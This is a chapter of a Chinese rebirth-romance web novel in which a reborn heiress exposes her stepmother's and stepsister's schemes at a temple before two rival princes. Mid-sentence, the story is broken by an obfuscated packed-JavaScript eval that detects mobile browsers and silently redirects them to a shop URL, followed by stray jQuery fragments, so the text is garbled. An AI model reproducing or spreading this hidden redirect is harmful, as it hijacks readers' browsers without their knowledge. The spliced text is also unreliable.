“休得胡言!”君昶听了这话,正色道,“我和相府二小姐无半分交情,大小姐为何如此咄咄逼人?”
“是啊,”几个尚书夫人聚在门外,窃窃私语道,“大小姐真是半分情面都不留。”
“真是半点容人之量都没有,七皇子要是娶了她,那还得了?怕不是府里一个庶子都没有。”
“大小姐和二小姐简直是一个天上一个地下啊,怪不得余夫人区别对待,换成谁都会更喜欢二小姐吧?”
“是啊是啊,也不知道京城里,还有谁会喜欢大小姐这样的,真是家宅不宁!”
贺浅浅听着这些妇人们见风使舵的这番话,心里只觉得好笑。
她们当真是一点脸都不要了。
竟然妄图用舆论来逼她妥协?做梦!
“二妹妹,你可得等一下!”
听见了贺浅浅这句话,珠心立刻小跑着,用身躯拦住了她们的去路。
贺浅浅冲着济空大师做了个揖:“大师,今日在寺里发生这种事,着实是相府看管不力,还请大师明察。更何况,诸位看我妹妹的模样,着实有些奇怪,能否烦请几个郎中来,为我妹妹仔细诊断一番?”
济空大师捋了捋胡子,看向了身旁的小福。
小和尚点了点头,立刻冲出门去,去寻主持了。
“既然如此,还请诸位先在偏殿先等待一阵吧。”君聿笑眯眯的,嘴上倒是不留半分情面,“到时候正好还两位姑娘的清白,免得名声有损。”
“殿下,何必呢!”余夫人站出来,小心翼翼道,“不过是姐妹之间的玩闹而已,何必出动这么大阵仗,令这么多人看了我相府的笑话?”
“你就是相府最大的笑话,知道吗?”贺浅浅的脸上挂着标准微笑,嘴里更是不饶她半分,“莫不是继母知道了什么内幕,怕查出来让人诟病吧?”
“没有的事!你少强词夺理。”余夫人的面色一紧,劝解道,“你就是见不得家里好,就是因为你心里存着怒气,才这样的,孩儿,别闹了,别让人看了笑话!”
“是啊,浅浅。”君昶也上前一步,装出一副真挚的神情,“我知道微微和夫人在家里一直被你打压,但你也不好闹到大庭广众之下啊。”
“呵,”贺浅浅嗤笑一声,“我之前怎么没发现,七皇子原来是个听风是风,听雨是雨的?您贵为皇子,怎得看不出衣裳布料的差别?这个哪怕看不出来,也能认得出行排场的差别吧?”
“你见过哪家受尽欺辱的继母继女出行,数十人簇拥伺候着的?”贺浅浅指着周围的那些丫鬟婆子,“一个个的真是好得很!养了这么多年,不仅认不清谁是真正的主子,还敢落井下石!”
“你真是小心眼!”一个尖利的女声从殿外响了起来。
贺浅浅认得,那是柳佳仪,工部尚书嫡女,也是贺微微的闺中蜜友。
柳佳仪身上的一串铃铛玉佩叮铃咣铛地响着,伴随着她的脚步声来到了贺浅浅的眼前。
她冲着两位皇子行了个礼,才冲着贺微微道:“这么多丫鬟婆子,难道不是你们家共用的吗?何必斤斤计较?更何况微微已经中暑了,现在这个情况,向着她也是应该的,姐姐就该有姐姐的样子才对啊!”
贺浅浅冷笑一声:“共用的?真是好大的面子。可别说我是贺微微的姐姐,我们两人出生日期可没差多少,谁知道她到底是什么来路,我不会认一个野种做妹妹。”
“好歹也是朝夕相伴的妹妹,你怎么能这么说呢!”
“朝夕相伴?”贺浅浅只觉好笑,“要不要让贺微微也搬到我的院落,来体验一下?”
“你的院落怎么了?吃相府的住相府的还不让人说?”柳佳仪的话还没说完,就被她的母亲拦下。
“够了!”余夫人厉声喝道,“今日让大家看笑话了,贺浅浅这孩子缺乏家教,等回府后我会严加看管!请诸位都散了吧!”
听见了余夫人这个主母的发话,几位尚书夫人递了个眼色,连阿谀奉承的话都免了,陆陆续续地离开了偏殿。
真是可惜,竟没能让她们看到贺微微中了药的模样。
不过,来日方长。
一个郎中正跟着小福,连滚带爬地冲进了偏殿。
感受着殿内肃穆的氛围,他小心翼翼地拿出一方手帕,搁在了贺微微的手腕上把脉。
余夫人心里已经有了定数,还是装作急切地问郎中:“我的女儿,她到底怎么了?中暑的情况好些了吗?”
“这,这……”郎中看着面前的夫人,以及两位看起来衣冠不凡的贵人,心里斟酌着用词。
“不必拘礼,”君聿的语气里,满是命令之意,“如实招来即可。”
“回,回几位贵人,小姐,小姐明显是中了极为烈性的药!必须阴阳结合,才能算作解药啊!”郎中跪在地上,哐哐地磕着头,还时不时地去看君聿的脸色。
“哦?是吗?”
“是的,是的!小人行医四十载有余,这个药是老鸨常用的,断断出不了错。也不知是谁如此心肠歹毒,竟然下此毒手!”
“好。”君聿似乎听见了令他满意的答复,从怀中取出一枚金锭,扔给了郎中,“你可以走了。”
“谢谢,谢谢!谢谢贵人!”郎中领了金锭,连连磕了几个头,生怕贵人后悔,从后门跑了。
“是不是你!”余夫人目眦欲裂,指着贺浅浅狠狠道,“就是你下药害了我女儿!等回家我就要狠狠地用家法伺候你!我要告诉老爷,我要把你——”
“你要把我怎样啊?”贺浅浅丝毫没把她的话当个事,挑衅道,“你能拿我怎样啊?”
“你!你!我怎么能教出你这样的女儿!”余夫人一个巴掌就要打下来。
君聿正要抬手去拦,哪知贺浅浅的动作更快一步,她一拳轰在了余夫人的太阳穴上,将她的头簪都打了下来。
“夫人!”
“不好!”
看着眼前披头散发的夫人,几个丫鬟婆子赶紧上前,去替她挡住面容,还不忘挽起她的头发。
“你,你这个孽障!”余夫人气得眼中的红血丝似乎都要溢出来了,“我,我今天非打死你不可——来人!给我拿下她!”
“我看谁敢!”贺浅浅站在原地,气势似乎要溢出来,“今天谁动了手,我就让舅舅亲自来打发了!”
听了这两个关键字眼,君昶的反应倒是比其余的丫鬟婆子们更大。
“够了!还嫌不够丢人吗!”君昶站起身,怒喝道,“简直是一群欺上瞒下的东西!”
他立刻转过身,脸上带着荡漾的笑意,冲着贺浅浅安抚道:“浅浅,这种事不该你操心。今日出了这档子事,也是我看管不利,等你回相府,我定会上门提亲。你在皇子府内,绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17757740|209546||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不会有这种刁奴。”
“哦?”贺浅浅歪了歪头,“殿下,好像不对吧?妹妹中了这种药,还一直拽着你不放,如今估计京城都传遍了,你应该求娶妹妹才对啊。”
君昶听了这番话,咬牙切齿道:“这怎么行,今日是你受了委屈,我定然要娶你,补偿你。”
这疯子简直是脑子有病!
贺浅浅在心里暗骂恶心。
“你是听不懂话吗?”君聿上前一步,拽住了君昶,“缠着你的是那个女的,你最好安分点,少想着攀高枝。”
君聿的这番话倒是深得贺浅浅的心思。
毕竟他一个不受宠,母族不得势的皇子,本就求娶不得她。
上辈子,君昶和贺微微偷偷做的那些腌臜事,直到她死前才回过味来。
这两个下贱胚子,最好永生永世都绑在一起,不得超生。
“三哥什么意思?”君昶换上了一副人畜无害的模样,“我只是对浅浅一见钟情,诉说一下爱慕之意……”
“滚。”君聿一拳打在了他的身上,打得他一个趔趄,撞翻了供桌,“大雄宝殿内,岂可说这种龌龊事?贪图虚荣富贵之人,也配说这句话?”
君聿上辈子可是战场上的疯王。
如果论气势和谋略,诸位皇子可都比不过他。
不论上辈子还是这辈子,君昶和君聿一直都是势同水火。
若不是因为上辈子贺浅浅嫁给了君昶,恐怕君聿早就夺嫡成功了。
一想到两人曾经是对立阵营的宿敌,如今君聿却帮着贺浅浅说话,她一时还觉得怪不好意思的。
“好了,好了,两位殿下,莫要因为她伤了和气。”余夫人站出来,作势调停。
她可是打算将女儿许配个七皇子做个侧妃的!
等事成之后,再除掉贺浅浅,鸠占鹊巢也来得及。
当务之急,就是把贺浅浅绑在七皇子的这条船上,去抗衡以三皇子为首的武将派。
再不济,哪怕送给五皇子,也不能让她和三皇子暗生情愫!
这么想着,她就立刻横在了几人中间,客气道:“两位皇子,今日过节,实在是对不住,可是,这实乃家事,就不劳二位费心了。”
“家事?”君聿横眉冷对,“能在护国寺闹出这么大动静,叫家事?”
“是啊是啊。再怎么说,她们也是一家人。”君昶收到了余夫人的眼神信号,立马劝道,“我们毕竟不好插手,还是先行离开吧。”
“不,殿下,不要……”
地上的女人发出了微弱的叫声。
对啊,竟然还把你忘了。
贺浅浅这时候才注意到,一直在地上呻吟的贺微微,出言嘲讽道:“呦,七皇子不如带着贺微微回府吧,反正天时地利人和,我作为嫡女,就做主将她赐给你了。”
她到底在发什么疯!
她要发卖自己的妹妹?
余夫人立马呵斥道:“够了没有!还嫌不够丢人吗!还不赶紧将两位小姐带回去!”
君聿还想拦,却被贺浅浅一个感激的目光定在了原地。
身后的济空大师看着这场闹剧,面色平静。
随着君昶跟着她们离开了偏殿,君聿才从袖中取出了那根在观音前抽出的灵签。
刘备招亲。
青天自有通霄路,许我功名再有期。